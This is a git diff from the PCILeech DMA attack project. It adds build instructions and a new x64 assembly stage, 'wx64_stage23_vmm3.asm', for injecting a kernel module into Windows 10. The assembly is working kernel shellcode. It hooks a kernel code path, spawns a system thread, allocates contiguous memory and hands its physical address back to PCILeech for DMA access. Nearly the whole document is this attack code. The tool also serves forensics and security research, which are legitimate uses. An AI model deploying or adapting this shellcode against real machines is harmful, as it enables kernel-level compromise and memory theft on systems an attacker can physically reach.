a/pcileech_shellcode/info_kmd_core.txt b/pcileech_shellcode/info_kmd_core.txt index 1a4aa9a..6211008 100644 --- a/pcileech_shellcode/info_kmd_core.txt +++ b/pcileech_shellcode/info_kmd_core.txt @@ -136,8 +136,14 @@ ml64 wx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "wx64 shellcode64.exe -o wx64_stage3.exe # # -#=========== Windows x64 - VMM.DLL assisted technique (Memory Process File System) =========== +#=========== Windows x64 - WIN10_X64_2 - VMM.DLL assisted technique =========== # cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c ml64 wx64_stage23_vmm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "wx64_stage3_c.obj" shellcode64.exe -o wx64_stage23_vmm.exe +# +#=========== Windows x64 - WIN10_X64_3 - VMM.DLL assisted technique =========== +# +cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_stage3_c.c +ml64 wx64_stage23_vmm3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "wx64_stage3_c.obj" +shellcode64.exe -o wx64_stage23_vmm3.exe \ No newline at end of file diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj index fd0a71e..8d7f13d 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj @@ -106,6 +106,7 @@ + diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters index be676fb..c067589 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters @@ -224,6 +224,9 @@ Source Files\kmd_core + + Source Files\kmd_core + diff --git a/pcileech_shellcode/wx64_stage23_vmm3.asm b/pcileech_shellcode/wx64_stage23_vmm3.asm new file mode 100644 index 0000000..52d0afd --- /dev/null +++ b/pcileech_shellcode/wx64_stage23_vmm3.asm @@ -0,0 +1,156 @@ +; wx64_stage23_vmm3.asm : assembly for the WIN10_X64_3 KMD inject. +; +; (c) Ulf Frisk, 2020 +; Author: Ulf Frisk, pcileech@frizk.net +; + +EXTRN stage3_c_EntryPoint:NEAR + +.CODE + +main PROC + ; ---------------------------------------------------- + ; 0: INITIAL OP AND VARIABLE MEMORY LOCATIONS + ; ---------------------------------------------------- + JMP main_start + data_filler db 00h, 00h ; +002 + original_code: + data_original_code dd 44444444h, 44444444h, 44444444h, 44444444h, 44444444h ; +004 + addr_data dq 1111111111111111h ; +018 + pfnKeGetCurrentIrql dq 1111111111111111h ; +020 + pfnPsCreateSystemThread dq 1111111111111111h ; +028 + pfnZwClose dq 1111111111111111h ; +030 + pfnMmAllocateContiguousMemory dq 1111111111111111h ; +038 + pfnMmGetPhysicalAddress dq 1111111111111111h ; +040 + addr_KernelBase dq 1111111111111111h ; +048 + ; ---------------------------------------------------- + ; 1: SAVE ORIGINAL PARAMETERS + ; ---------------------------------------------------- +main_start: + PUSH rcx + PUSH rdx + PUSH r8 + PUSH r9 + PUSH r10 + PUSH r11 + PUSH r12 + PUSH r13 + PUSH r14 + PUSH r15 + PUSH rdi + PUSH rsi + PUSH rbx + PUSH rbp + SUB rsp, 020h + ; ---------------------------------------------------- + ; CHECK CURRENT IRQL - ONLY IRQL PASSIVE (0) ALLOWED + ; ---------------------------------------------------- + CALL [pfnKeGetCurrentIrql] + TEST rax, rax + JNZ skipcall + ; ---------------------------------------------------- + ; ENSURE ATOMICITY IN THREADED ENVIRONMENTS + ; ---------------------------------------------------- + MOV al, 00h + MOV dl, 01h + MOV rcx, addr_data + LOCK CMPXCHG [rcx], dl + JNE skipcall + ; ---------------------------------------------------- + ; CREATE THREAD + ; ---------------------------------------------------- + PUSH r12 ; StartContext + LEA rax, setup2 + PUSH rax ; StartRoutine + PUSH 0 ; ClientId + SUB rsp, 020h ; (stack shadow space) + XOR r9, r9 ; ProcessHandle + XOR r8, r8 ; ObjectAttributes + MOV rdx, 1fffffh ; DesiredAccess + MOV rcx, addr_data ; ThreadHandle + ADD rcx, 8 + CALL [pfnPsCreateSystemThread] + ADD rsp, 038h + ; ---------------------------------------------------- + ; CLOSE THREAD HANDLE + ; ---------------------------------------------------- + SUB rsp, 038h ; (stack shadow space + align) + MOV rcx, addr_data ; ThreadHandle + MOV rcx, [rcx+8] + CALL [pfnZwClose] + ADD rsp, 038h + ; ---------------------------------------------------- + ; EXIT - RESTORE AND JMP BACK + ; ---------------------------------------------------- +skipcall: + ADD rsp, 020h + POP rbp + POP rbx + POP rsi + POP rdi + POP r15 + POP r14 + POP r13 + POP r12 + POP r11 + POP r10 + POP r9 + POP r8 + POP rdx + POP rcx + JMP original_code +main ENDP + +; ---------------------------------------------------- +; New Thread entry point. Allocate memory and write back +; the physical address so PCILeech may read it with DMA. +; ---------------------------------------------------- +setup2 PROC + ; ---------------------------------------------------- + ; SET UP STACK SHADOW SPACE (REQUIRED FOR SOME FUNCTION CALLS) + ; ---------------------------------------------------- + PUSH rbp + MOV rbp, rsp + SUB rsp, 020h + ; ---------------------------------------------------- + ; ALLOCATE 0x1000 CONTIGUOUS MEMORY BELOW 0x7fffffff + ; ---------------------------------------------------- + MOV rcx, 1000h + MOV rdx, 7fffffffh + CALL [pfnMmAllocateContiguousMemory] + MOV r13, rax + ; ---------------------------------------------------- + ; ZERO ALLOCATED MEMORY + ; ---------------------------------------------------- + XOR rax, rax + MOV ecx, 200h + clear_loop: + DEC ecx + MOV [r13+rcx*8], rax + JNZ clear_loop + ; ---------------------------------------------------- + ; WRITE PHYSICAL MEMORY ADDRESS + ; ---------------------------------------------------- + MOV rcx, r13 + CALL [pfnMmGetPhysicalAddress] + MOV rcx, addr_data + MOV [rcx+01ch], eax + ; ---------------------------------------------------- + ; SET PKMDDATA->AddrKernelBase + ; ---------------------------------------------------- + MOV rax, addr_KernelBase + MOV [r13+8], rax + ; ---------------------------------------------------- + ; CALL C-ENTRYPOINT + ; ---------------------------------------------------- + MOV rcx, r13 + CALL stage3_c_EntryPoint + ; ---------------------------------------------------- + ; RETURN + ; ---------------------------------------------------- + ADD rsp, 028h + XOR rax, rax + RET +setup2 ENDP + +END